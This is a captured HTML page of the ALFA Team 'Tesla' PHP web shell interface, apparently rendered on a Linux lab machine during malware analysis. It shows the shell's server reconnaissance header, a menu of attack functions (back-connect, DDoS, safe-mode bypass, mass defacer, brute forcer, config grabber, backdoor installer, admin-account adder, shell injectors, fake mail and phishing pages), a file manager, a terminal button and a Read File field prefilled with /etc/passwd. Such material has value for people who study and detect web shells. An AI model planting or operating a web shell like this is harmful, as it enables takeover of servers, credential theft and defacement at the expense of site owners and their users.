<input type="hidden" name="c" value="">
<input type="hidden" name="file" value="">
</form>
<input type="file" style="display:none;" id="importFileBtn" onchange="importConfig(event);">
<div id="a_loader" style="display: none;"><img src="http://solevisible.com/images/loader.svg"></div>


<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/"><input type="hidden" name="alfa1" value=""><input type="hidden" name="alfa2" value=""><input type="hidden" name="alfa3" value=""><input type="hidden" name="alfa4" value=""><input type="hidden" name="alfa5" value=""><input type="hidden" name="alfa6" value=""><input type="hidden" name="alfa7" value=""><input type="hidden" name="alfa8" value=""><input type="hidden" name="alfa9" value=""><input type="hidden" name="alfa10" value=""><input type="hidden" name="charset" value="Windows-1251">
</form>
<div id="hidden_sh"><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">Tesla</span><br><small>Version: <span class="hidden_shell_version">4.1</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tbody><tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">33 [ www-data ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">33 [ www-data ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png"></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 </b><span class="header_vars"> Safe Mode: <span class="header_on">OFF</span></span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>::1</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> ::1</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>2023-02-12 19:36:56</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">Cant Read [ /etc/named.conf ]</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>216.08 GB </b><span class="header_vars">Free:</span><b>188.74 GB [87%]</b></td>
</tr><tr><td height="18" colspan="2"><span class="header_vars">Useful : </span><span class="header_values" style="margin-left: 4px;">gcc</span><span class="header_values" style="margin-left: 4px;">cc</span><span class="header_values" style="margin-left: 4px;">ld</span><span class="header_values" style="margin-left: 4px;">make</span><span class="header_values" style="margin-left: 4px;">php</span><span class="header_values" style="margin-left: 4px;">perl</span><span class="header_values" style="margin-left: 4px;">tar</span><span class="header_values" style="margin-left: 4px;">gzip</span><span class="header_values" style="margin-left: 4px;">nc</span></td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" style="margin-left: 4px;">wget</span><span class="header_values" style="margin-left: 4px;">curl</span><span class="header_values" style="margin-left: 4px;">lwp-mirror</span></td>
</tr><tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b><span class="header_show_all">All Functions Accessible</span></b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span><span class="header_on"> ON </span> | <span class="header_vars">SSH2 : </span><span class="header_off"> OFF </span> | <span class="header_vars">Magic Quotes : </span><span class="header_off">OFF</span> | <span class="header_vars"> MySQL :</span><span class="header_off"> OFF </span> | <span class="header_vars">MSSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> PostgreSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> Oracle :</span><span class="header_off"> OFF </span> | <span class="header_vars"> CGI :</span> <span class="header_off" id="header_cgishell">OFF</span></td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad &amp; Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars">Safe_mode_exec_dir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars"> Safe_mode_include_dir :</span><span class="header_none"> NONE </span></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>Apache/2.4.52 (Ubuntu)</b></td>
</tr><tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd"><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/&quot;)" path="/" href="#action=fileman&amp;path=/">/</a><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/var/&quot;)" path="/var/" href="#action=fileman&amp;path=/var/">var/</a><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/&quot;)" path="/var/www/" href="#action=fileman&amp;path=/var/www/">www/</a><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/html/&quot;)" path="/var/www/html/" href="#action=fileman&amp;path=/var/www/html/">html/</a> </span><a href="#action=fileman&amp;path=/var/www/html" onclick="g('FilesMan','/var/www/html','','','')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</tbody></table>
</div>
<div id="meunlist">
<ul>
<li><a id="menu_opt_proc" href="#action=options&amp;path=/var/www/html/&amp;opt=proc" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=proc';g('proc',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Process</a></li>
<li><a id="menu_opt_phpeval" href="#action=options&amp;path=/var/www/html/&amp;opt=phpeval" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=phpeval';g('phpeval',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Eval</a></li>
<li><a id="menu_opt_sql" href="#action=options&amp;path=/var/www/html/&amp;opt=sql" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=sql';g('sql',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SQL Manager</a></li>
<li><a id="menu_opt_dumper" href="#action=options&amp;path=/var/www/html/&amp;opt=dumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=dumper';g('dumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Database Dumper</a></li>
<li><a id="menu_opt_coldumper" href="#action=options&amp;path=/var/www/html/&amp;opt=coldumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=coldumper';g('coldumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Column Dumper</a></li>
<li><a id="menu_opt_hash" href="#action=options&amp;path=/var/www/html/&amp;opt=hash" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=hash';g('hash',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">En-Decoder</a></li>
<li><a id="menu_opt_connect" href="#action=options&amp;path=/var/www/html/&amp;opt=connect" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=connect';g('connect',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BC</a></li>
<li><a id="menu_opt_zoneh" href="#action=options&amp;path=/var/www/html/&amp;opt=zoneh" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=zoneh';g('zoneh',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ZONE-H</a></li>
<li><a id="menu_opt_dos" href="#action=options&amp;path=/var/www/html/&amp;opt=dos" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=dos';g('dos',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DDOS</a></li>
<li><a id="menu_opt_safe" href="#action=options&amp;path=/var/www/html/&amp;opt=safe" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=safe';g('safe',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ByPasser</a></li>
<li><a id="menu_opt_cgishell" href="#action=options&amp;path=/var/www/html/&amp;opt=cgishell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cgishell';g('cgishell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Cgi Shell</a></li>
<li><a id="menu_opt_ssiShell" href="#action=options&amp;path=/var/www/html/&amp;opt=ssiShell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=ssiShell';g('ssiShell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SSI SHELL</a></li>
<li><a id="menu_opt_cpcrack" href="#action=options&amp;path=/var/www/html/&amp;opt=cpcrack" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cpcrack';g('cpcrack',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Hash Tools</a></li>
<li><a id="menu_opt_portscanner" href="#action=options&amp;path=/var/www/html/&amp;opt=portscanner" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=portscanner';g('portscanner',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Port Scaner</a></li>
<li><a id="menu_opt_basedir" href="#action=options&amp;path=/var/www/html/&amp;opt=basedir" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=basedir';g('basedir',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Open BaseDir</a></li>
<li><a id="menu_opt_mail" href="#action=options&amp;path=/var/www/html/&amp;opt=mail" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=mail';g('mail',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Mail</a></li>
<li><a id="menu_opt_ziper" href="#action=options&amp;path=/var/www/html/&amp;opt=ziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=ziper';g('ziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Compressor</a></li>
<li><a id="menu_opt_deziper" href="#action=options&amp;path=/var/www/html/&amp;opt=deziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=deziper';g('deziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DeCompressor</a></li>
<li><a id="menu_opt_IndexChanger" href="#action=options&amp;path=/var/www/html/&amp;opt=IndexChanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=IndexChanger';g('IndexChanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Index Changer</a></li>
<li><a id="menu_opt_pwchanger" href="#action=options&amp;path=/var/www/html/&amp;opt=pwchanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=pwchanger';g('pwchanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Add New Admin</a></li>
<li><a id="menu_opt_ShellInjectors" href="#action=options&amp;path=/var/www/html/&amp;opt=ShellInjectors" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=ShellInjectors';g('ShellInjectors',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Shell Injectors</a></li>
<li><a id="menu_opt_php2xml" href="#action=options&amp;path=/var/www/html/&amp;opt=php2xml" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=php2xml';g('php2xml',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">PHP2XML</a></li>
<li><a id="menu_opt_cloudflare" href="#action=options&amp;path=/var/www/html/&amp;opt=cloudflare" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cloudflare';g('cloudflare',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CloudFlare</a></li>
<li><a id="menu_opt_Whmcs" href="#action=options&amp;path=/var/www/html/&amp;opt=Whmcs" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=Whmcs';g('Whmcs',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whmcs DeCoder</a></li>
<li><a id="menu_opt_symlink" href="#action=options&amp;path=/var/www/html/&amp;opt=symlink" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=symlink';g('symlink',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Symlink</a></li>
<li><a id="menu_opt_MassDefacer" href="#action=options&amp;path=/var/www/html/&amp;opt=MassDefacer" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=MassDefacer';g('MassDefacer',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Mass Defacer</a></li>
<li><a id="menu_opt_Crackers" href="#action=options&amp;path=/var/www/html/&amp;opt=Crackers" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=Crackers';g('Crackers',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BruteForcer</a></li>
<li><a id="menu_opt_searcher" href="#action=options&amp;path=/var/www/html/&amp;opt=searcher" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=searcher';g('searcher',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Searcher</a></li>
<li><a id="menu_opt_config_grabber" href="#action=options&amp;path=/var/www/html/&amp;opt=config_grabber" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=config_grabber';g('config_grabber',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Config Grabber</a></li>
<li><a id="menu_opt_fakepage" href="#action=options&amp;path=/var/www/html/&amp;opt=fakepage" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=fakepage';g('fakepage',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Page</a></li>
<li><a id="menu_opt_archive_manager" href="#action=options&amp;path=/var/www/html/&amp;opt=archive_manager" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=archive_manager';g('archive_manager',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Archive Manager</a></li>
<li><a id="menu_opt_cmshijacker" href="#action=options&amp;path=/var/www/html/&amp;opt=cmshijacker" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cmshijacker';g('cmshijacker',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CMS Hijacker</a></li>
<li><a id="menu_opt_remotedl" href="#action=options&amp;path=/var/www/html/&amp;opt=remotedl" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=remotedl';g('remotedl',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remote Upload</a></li>
<li><a id="menu_opt_inbackdoor" href="#action=options&amp;path=/var/www/html/&amp;opt=inbackdoor" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=inbackdoor';g('inbackdoor',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Install BackDoor</a></li>
<li><a id="menu_opt_whois" href="#action=options&amp;path=/var/www/html/&amp;opt=whois" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=whois';g('whois',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whois</a></li>
<li><a id="menu_opt_selfrm" href="#action=options&amp;path=/var/www/html/&amp;opt=selfrm" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=selfrm';g('selfrm',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remove Shell</a></li>
</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&amp;path=/var/www/html/&amp;opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=settings';g('settings',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&amp;path=/var/www/html/&amp;opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=market';g('market',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&amp;path=/var/www/html/&amp;opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=aboutus';g('aboutus',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">About Us</a></div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="/var/www/html/" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>html</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onclick="alfaFilesManNewTab(c_,'/',1);">New Tab +</div></div><script>alfa1_=alfa2_=alfa3_=""</script><div style="position: relative; min-height: 0px;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><script>alfa1_=alfa2_=alfa3_=""</script><div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,'alfa_sort_by');" style="color:#25ff00;"><option value="name" selected="">Name</option><option value="size">Size</option><option value="modify">Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onchange="sortBySelectedValue(this,'alfa_filesman_direction')" style="color:#25ff00;"><option value="asc" selected="">Ascending</option><option value="desc">Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="0" oninput="this.value=this.value.replace(/[^0-9]/g,'');setCookie('alfa_limited_files', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">4</b></span></div><div class="header"><form onsubmit="fc(this);return false;" name="files" method="post"><table id="filemanager_table" width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th width="13px"><div class="myCheckbox" style="padding-left:0px;"><input type="checkbox" id="mchk45583" onclick="checkBox(this);" class="chkbx"><label for="mchk45583"></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr><tr class="fmanager-row" id="tr_row_0"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value=".." class="chkbx" id="checkbox_455830"><label for="checkbox_455830"></label></div></td><td id="td_row_0"><img src="http://solevisible.com/icons/back.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="0" id="id_0" class="main_name" onclick="g('FilesMan','/var/www');" href="#action=fileman&amp;path=/var/www" fname=".." ftype="folder" path="/var/www/html/" opt_title=""><b>| .. |</b></a></div></td><td><span style="font-weight:unset;" class="main_size">dir</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 19:36:54</span></td><td><span style="font-weight:unset;" class="main_owner_group">root/root</span></td><td><a id="id_chmode_0" href="javascript:void(0)" onclick="editor('..','chmod','','','','dir')"><span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_green_perm">d​r​w​x​r​w​x​r​w​x​</span></a></td><td><a id="id_rename_0" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('..', 'rename','','','','dir')">R</a> <a id="id_touch_0" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('..', 'touch','','','','dir')">T</a><a id="id_delete_0" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # .. # ?'); chk ? g('FilesMan',null,'delete', '..') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_1"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="ALFA_DATA" class="chkbx" id="checkbox_455831"><label for="checkbox_455831"></label></div></td><td id="td_row_1"><img src="http://solevisible.com/icons/folder.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="1" id="id_1" class="main_name" onclick="g('FilesMan','/var/www/html/ALFA_DATA');" href="#action=fileman&amp;path=/var/www/html/ALFA_DATA" fname="ALFA_DATA" ftype="folder" path="/var/www/html/" opt_title=""><b>| ALFA_DATA |</b></a></div></td><td><span style="font-weight:unset;" class="main_size">dir</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 19:36:56</span></td><td><span style="font-weight:unset;" class="main_owner_group">www-data/www-data</span></td><td><a id="id_chmode_1" href="javascript:void(0)" onclick="editor('ALFA_DATA','chmod','','','','dir')"><span style="font-weight:unset;" class="main_green_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_green_perm">d​r​w​x​r​-x​r​-x​</span></a></td><td><a id="id_rename_1" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('ALFA_DATA', 'rename','','','','dir')">R</a> <a id="id_touch_1" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('ALFA_DATA', 'touch','','','','dir')">T</a><a id="id_delete_1" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # ALFA_DATA # ?'); chk ? g('FilesMan',null,'delete', 'ALFA_DATA') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_2"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx" id="checkbox_455832"><label for="checkbox_455832"></label></div></td><td id="td_row_2"><img src="http://solevisible.com/icons/notfound.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="2" id="id_2" class="main_name" onclick="editor('beneri.se_malware_analysis','auto','','','','file');" href="#action=fileman&amp;path=/var/www/html/&amp;file=beneri.se_malware_analysis" fname="beneri.se_malware_analysis" ftype="file" path="/var/www/html/" opt_title="">beneri.se_malware_analysis</a></div></td><td><span style="font-weight:unset;" class="main_size">0 B</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 19:36:54</span></td><td><span style="font-weight:unset;" class="main_owner_group">root/root</span></td><td><a id="id_chmode_2" href="javascript:void(0)" onclick="editor('beneri.se_malware_analysis','chmod','','','','file')"><span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_white_perm">-​r​w​-r​--r​--</span></a></td><td><a id="id_rename_2" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'rename','','','','file')">R</a> <a id="id_touch_2" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'touch','','','','file')">T</a> <a id="id_edit_2" class="actions" title="Edit" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'edit','','','','file')">E</a> <a id="id_download_2" title="Download" class="actions" href="javascript:void(0);" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a><a id="id_delete_2" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # beneri.se_malware_analysis # ?'); chk ? g('FilesMan',null,'delete', 'beneri.se_malware_analysis') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_3"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="garil2.php" class="chkbx" id="checkbox_455833"><label for="checkbox_455833"></label></div></td><td id="td_row_3"><img src="http://solevisible.com/icons/php.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="3" id="id_3" class="main_name" onclick="editor('garil2.php','auto','','','','file');" href="#action=fileman&amp;path=/var/www/html/&amp;file=garil2.php" fname="garil2.php" ftype="file" path="/var/www/html/" opt_title=""><span class="shell_name" style="font-weight:unset;">garil2.php</span></a></div></td><td><span style="font-weight:unset;" class="main_size">455.55 KB</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 19:36:55</span></td><td><span style="font-weight:unset;" class="main_owner_group">osboxes/osboxes</span></td><td><a id="id_chmode_3" href="javascript:void(0)" onclick="editor('garil2.php','chmod','','','','file')"><span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_white_perm">-​r​w​-r​w​-r​--</span></a></td><td><a id="id_rename_3" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('garil2.php', 'rename','','','','file')">R</a> <a id="id_touch_3" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('garil2.php', 'touch','','','','file')">T</a> <a id="id_edit_3" class="actions" title="Edit" href="javascript:void(0);" onclick="editor('garil2.php', 'edit','','','','file')">E</a> <a id="id_download_3" title="Download" class="actions" href="javascript:void(0);" onclick="g('FilesTools',null,'garil2.php', 'download')">D</a><a id="id_delete_3" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # garil2.php # ?'); chk ? g('FilesMan',null,'delete', 'garil2.php') : '';"> X </a></td></tr><tr id="filemanager_last_tr"><td colspan="7">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="charset" value="">
<select id="tools_selector" name="alfa1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete" selected="">Delete</option><option value="zip">Add 2 Compress (zip)</option><option value="unzip">Add 2 Uncompress (zip)</option><option value="paste">Paste / Zip / Unzip </option></select>
<input type="submit" value=" ">
</td></tr></tbody></table><div class="pages-holder"><div class="pages-number"></div></div></form></div></div></div><table class="foot" width="100%" border="0" cellspacing="3" cellpadding="0">
<tbody><tr>
<td width="17%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;"><span class="footer_text">Make File : </span><br><input class="dir" type="text" name="f" value=""> <input type="submit" value=" "></form></td>
<td width="21%"><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;"><span class="footer_text">Make Dir : </span><br><input class="dir" type="text" name="d" value=" "> <input type="submit" value=" "></form></td>
<td width="22%"><form onsubmit="g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;"><span class="footer_text">Delete : </span><br><input class="dir" type="text" name="del" value=" "> <input type="submit" value=" "></form></td>
<td width="19%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;"><span class="footer_text">Chmod : </span><br><input class="dir" type="text" name="f" value=" "> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="2"><form onsubmit="g(&quot;FilesMan&quot;,this.c.value,&quot;&quot;);return false;"><span class="footer_text">Change Dir : </span><br><input class="foottable" id="footer_cwd" type="text" name="c" value="/var/www/html/"> <input type="submit" value=" "></form></td>
<td colspan="2"><form onsubmit="editor(this.file.value,'view','','','','file');return false;"><span><span class="footer_text">Read File : </span></span><br><input class="foottable" type="text" name="file" value="/etc/passwd"> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="4"><form style="margin-top: 10px;" onsubmit="return false;" autocomplete="off"><span><span class="footer_text">Execute :</span><br><button onclick="alfaOpenPhpTerminal();return false;" class="foottable alfa_custom_cmd_btn"><img style="width:28px;vertical-align: middle;" src="http://solevisible.com/icons/menu/terminal.svg"> Terminal</button><br></span></form></td>
</tr>
<tr>
<td colspan="4"><form onsubmit="u(this);return false;" name="footer_form" method="post" enctype="multipart/form-data">
<input type="hidden" name="a" value="FilesMAn">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="ajax" value="true">
<input type="hidden" name="alfa1" value="uploadFile">
<input type="hidden" name="charset" value="Windows-1251">
<span class="footer_text">Upload file: </span><span><button id="addup" onclick="addnewup();return false;"><b>+</b></button></span><p id="pfooterup"><label class="inputfile" for="footerup"><span id="__fnameup"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="footerup" class="toolsInp" type="file" name="f[]" onchange="handleup(this,0);" multiple=""></p><input type="submit" name="submit" value=" "></form><div id="alfa-copyright"><span class="copyright">[ ./AlfaTeam © 2012-2023 ]</span><br><span><a href="javascript:void(0);" onclick="alert(&quot;BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo&quot;);" style="color: #E91E63;text-decoration: none;">Donate Us !</a></span> <span style="letter-spacing: 2px;color: #dfff00;">solevisible[at]gmail.com</span> <span><a style="color: #ff6060;text-decoration: none;" target="_blank" href="https://telegram.me/solevisible">@solevisible</a></span></div></td>
</tr>
</tbody></table>
</div>

